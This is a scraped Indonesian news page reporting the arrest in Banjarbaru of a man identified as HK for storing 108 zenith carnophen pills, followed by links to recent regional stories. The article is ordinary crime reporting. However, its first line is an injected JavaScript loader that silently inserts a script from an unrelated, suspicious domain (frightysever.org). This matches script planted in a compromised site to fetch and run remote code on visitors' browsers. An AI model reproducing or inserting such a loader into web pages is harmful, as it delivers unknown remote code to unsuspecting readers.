(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Jual Zenith, HK Warga Loktabat Selatan Dibekuk Polisi


KANALKALIMANTAN.COM, BANJARBARU – Seorang lelaki kedapatan menyimpan obat terlarang zenith carnophen di sebuah rumah di Jalan Nusantara RT 07 Kelurahan Loktabat Selatan, Kecamatan Banjarbaru Selatan, Kota Banjarbaru, Jumat (26/7/2024) sekira pukul 17.30 Wita.

HK, 38 tahun dibekuk anggota Unit Opsnal Polsek Banjarbaru Utara setelah menerima informasi bahwa rumah tersebut kerap menjadi tempat transaksi narkoba.

Kapolsek Banjarbaru Utara, Kompol Yopie Andri Haryono mengungkap, buntut adanya informasi tersebut, anggota yang dipimpin oleh Panit 2 Opsnal Reskrim Aiptu Sugeng Gunawan crosscheck informasi tersebut.

Baca juga: Nyamar Jadi Siswa, SB Tertangkap Curi Laptop SMKN 3

Tersangka HK (38) kedapatan polisi menyimpan narkotika jenis zenith. Foto : Humas Polsek Banjarbaru

“Informasi tersebut dinilai akurat anggota melakukan penangkapan terhadap terduga pelaku berinisial HK di sebuah rumah,” ujar Kapolsek Banjarbaru Utara, Kompol Yopie Andri Haryono, Kamis (1/8/2024).

Pelaku HK yang juga tinggal di lokasi itu kemudian dilakukan penggeledahan badan beserta rumah tersebut.

“Didapat barang bukti zenith carnophen sebanyak 108 butir,” sebut dia.

Kapolsek menyebutkan, 108 butir zenith tersebut dibungkus dalam klip-klip plastik kecil sebanyak 10 butir per plastik klip.

Baca juga: Hari Kanker Paru Sedunia, Kenali Tanda Awal Kanker Paru-paru

“Kita temukan total 10 plastik klip berisi 10 butir per klip plastik, dan 8 butir di dalam 1 plastik klip kecil dan dimasukkan ke kantong plastik hitam, serta uang tunai sebesar Rp260.000,” tandasnya.

Modus pelaku adalah menyimpan narkotika dengan disembunyikan didalam laci meja toko milik pelaku.

Setelah ditangkap, HK dan barang bukti dibawa oleh anggota Opsnal Polsek Banjarbaru Utara ke Polsek untuk melanjutkan proses hukum.

Atas perbuatannya, tersangka akan dijerat hukuman seperti termuat dalam Pasal 114 ayat (1) dan atau Psl 112 ayat (1) UU RI No. 35 Tahun 2009 Tentang Narkotika. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Al Ghifari

Recent Posts

Bupati Kapuas Melantik 33 Pj Kades dan Enam Anggota BPD

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 orang Penjabat (Pj) Kepala… Read More

16 menit ago

Rencana Aksi Bersama Pengendalian Banjir Kawasan Banua Enam

Gubernur Kalsel: Percuma Rencana Kalau Tidak Dilakukan Read More

27 menit ago

Pemkab Banjar Raih Penghargaan dari MenPANRB

KANALKALIMANTAN.COM, JAKARTA – Keberhasilan Pemerintah Kabupaten Banjar dalam upaya mewujudkan tata kelola pemerintahan yang bersih… Read More

38 menit ago

ASN Bisa WFA dan Cuti Bersama hingga Dua Minggu, Begini Skemanya

KANALKALIMANTAN.COM, JAKARTA - Pemerintah menyiapkan kebijakan strategis bagi ASN dalam menghadapi lonjakan mobilitas masyarakat pada… Read More

9 jam ago

KPw BI Kalsel Menggelar Capacity Building Jurnalis 2026

KANALKALIMANTAN.COM, BATULICIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar acara Capacity… Read More

11 jam ago

‎Gubernur Kalsel Kunjungi Warga Desa Pondok Bababaris

‎KANALKALIMANTAN.COM, AMUNTAI – Gubernur Kalimantan Selatan H Muhidin meninjau langsung warga terdampak banjir di Desa… Read More

11 jam ago

This website uses cookies.